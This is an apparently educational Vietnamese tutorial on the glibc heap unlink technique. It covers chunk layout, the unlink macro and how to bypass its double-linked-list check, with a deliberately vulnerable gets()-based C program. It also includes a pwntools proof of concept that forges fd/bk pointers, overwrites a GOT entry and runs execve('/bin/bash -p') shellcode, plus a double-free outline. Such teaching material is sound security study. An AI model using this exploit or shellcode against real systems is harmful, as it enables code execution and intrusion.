Unlink technique

Đây là một trong những kỹ thuật cơ bản dùng để khai thác lỗ hổng ở vùng nhớ heap

Cấu trúc heap

Glibc tổ chức 1 heap chunk như sau:

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

Thông thường sau khi malloc, nếu ta dump heap ra thì sẽ chỉ thấy 2 thành phần là `prev_size` và `size`. 2 thành phần chính còn lại là fd và bk sẽ xuất hiện sau khi ta free.

Trước khi free

heap_before_free

  • Prev_size: Nếu heapchunk liền trước không đc sử dụng, trường này sẽ chứa size của heapchunk đó. Còn nếu heapchunk trước đang được sử dụng, prev_size sẽ chứa dữ liệu từ người dùng
  • size: Trường size không những thể hiện kích thước của heap, mà còn chứa thêm 3 thông tin tương ứng với 3 bit cuối cùng
    1. -PREV_INUSE(P): Bit P bằng 1 khi chunk trước được dùng và bằng 0 khi chunk trước không được dùng
    2. IS_MAPPED(M): Bit M bằng 1 khi địa chỉ của chunk được mmap
    3. NON_MAIN_ARENA(N): Bit N bằng 1 khi chunk thuộc thread arena

Sau khi free

heap_after_free

  • Prev_size: Lúc này prev_size sẽ luôn chứa dữ liệu người dùng từ heapchunk trước đó, vì glibc không cho phép 2 chunk liên tiếp đều ở trạng thái đã bị free
  • size: Vẫn giữ nguyên khi chưa free
  • fd: Trường fd chứa địa chỉ của chunk kế tiếp trong cùng 1 bin ( Bin là 1 danh sách các chunks đã được free, sẽ được nói đến trong 1 bài riêng )
  • bk: Trường bk chứa địa chỉ của chunk liền trước trong cùng 1 bin

Unlink trong free()

Thao tác unlink được glibc định nghĩa là:

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD; 
        if (!in_smallbin_range (P->size) 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
              malloc_printerr (check_action,
                               "corrupted double-linked list (not small)",
                               P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                  FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize; 
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                  }
              } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
              }
          }
      }
}

Khi ta gọi hàm free(), về cơ bản chương trình sẽ thực hiện các thao tác sau:

  • Kiểm tra một số điều kiện về kích thước
  • Kiểm tra liệu có chunk liền sau chunk hiện tại và size của nó chứa thông tin chỉ ra rằng chunk hiện tại đang được sử dụng
  • Kiểm tra chunk hiện tại có nằm ở đầu freelist hay không
  • Kiểm tra chunk liền trước có phải cũng đang ở trạng thái free không
  • Nếu có, thực hiện thao tác unlink chunk đó vào nhập 2 chunk làm 1
  • Nối lại chunk sau khi đã nhập làm 1 vào freelist

Ta có thể thấy thao tác unlink có thể giúp ta có được quyền viết vào một vùng bất kỳ:

FD->bk = BK;
BK->fd = FD;

Tuy nhiên, muốn làm được vậy, ta phải bypass qua điều kiện kiểm tra của glibc. Ta sẽ xét ví dụ cụ thể sau

 

Kịch bản (Heap overflow)

Giả sử ta có

#include <stdio.h>

int list_addr[2];
int main () {
	list_addr[0] = (char *)malloc(0x80);
	list_addr[1] = (char *)malloc(0x80);
	gets(list_addr[0]);
	free(list_addr[1]);
	gets(list_addr[0]);
	gets(list_addr[0]);
	printf ("Good bye!\n");
	return 0;
}

Chương trình sẽ yêu cầu hàm malloc một vùng nhớ là 0x80, vì giá trị này nằm ở giữa small bin và large bin (Sẽ được nói đến trong 1 bài riêng), từ đó khi thực hiện các thao tác trong lúc free sẽ đơn giản hơn.

Dễ thấy rằng ta có thể viết đè từ chunk1 sang chunk2 nhờ hàm gets(), từ đó sau khi free chunk2, ta sẽ làm cho hàm free sát nhập chunk1 vào chunk2 mặc dù chunk1 đang ở trong trạng thái được sử dụng. Đầu tiên, hàm free() sẽ kiểm tra bit PREV_INUSE(P) của chunk2

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
}

Trước khi unlink chunk1 để sát nhập, hàm free có một bước kiểm tra để khẳng định chunk liền trước và liền sau chunk1 đang trỏ vào chunk1

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

Tuy nhiên, trước đó chương trình dùng 1 biến toàn cục để chứa địa chỉ của các heapchunk đã malloc nên ta có thể dựa vào đây để bypass qua câu lệnh if này. Ta cần lưu ý ở đây, vì khi free, chương trình sử dụng địa chỉ thực của heapchunk chứ không phải địa chỉ trả về cho người dùng, nên khi tạo các thông tin giả, ta phải tạo cách địa chỉ trả về ít nhất 2 blocks tương ứng với prev_size và size của chunk1, ta gọi là chunk11.

Tổng kết lại, ta cần thực hiện các bước sau:

  • Bit P của chunk2 phải được gán bằng 0 để báo với hàm free() rằng chunk11 đã được free trước đó
  • Trường fd của chunk11 sẽ chứa địa chỉ của ô nhớ cách nơi lưu địa chỉ các heapchunk 3 blocks (12 bytes)
  • Trường bk của chunk11 sẽ chứa địa chỉ của ô nhớ cách nới lưu địa chỉ các heapchunk 2 blocks (8 bytes)
  • prev_size của chunk2 phải chứa size của chunk11

 

Proof of concept

Sau khi unlink được thì có thể có nhiều cách để khai thác tiếp: viết đè EIP, sử dụng fini_array, tls_dtor_list... Để đơn giản, bài viết sẽ khai thác bằng cách viết đè lên bảng GOT để trỏ vào nơi chứa shellcode.

from pwn import *

s = remote("localhost", 1928)

heap_addr = 0x0804b000
list_addr = 0x0804a030
puts_got = 0x0804a018
payload = ""
block_size = 4
sh = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"

payload += "\x00"*2*block_size
payload += p32(list_addr - 3*block_size)
payload += p32(list_addr - 2*block_size)
payload += sh + "\x90"*11
payload += "\x00"*17*block_size
payload += p32(0x80)
payload += p32(0x89 & ~1)
payload += "\n"
payload += "\x00"*3*block_size + p32(puts_got)
payload += "\n"
payload += p32(heap_addr + 6*block_size)
payload += "\n"

s.send(payload)
s.interactive()

Trước khi nhập payload

before

Trước khi nhập payload

before2

Sau khi free

after

-> Ưu điểm: Có thể viết bất nơi đâu mà không làm hỏng vùng nhớ xung quanh nó.

-> Nhược điểm: Thông thường chương trình phải có nơi lưu lại địa chỉ của các heapchunk.

 

Double free

Đây là lỗi khi mà hàm free() thực hiện thao tác free đối vs 1 đối tượng 2 lần. Về cơ bản, thao tác tạo chunk giả để unlink cũng giống với heap overflow, nhưng kịch bản ở đây sẽ khác:

  • Malloc chunk1 có kích thước 0x80
  • Malloc chunk2 có kích thước 0x80
  • Free chunk2 và chunk1
  • Malloc chunk3 có kích thước 0x100
  • Tạo chunk1 giả và chunk2 giả trong lòng chunk3
  • Free chunk2

 

REFERENCES:  https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/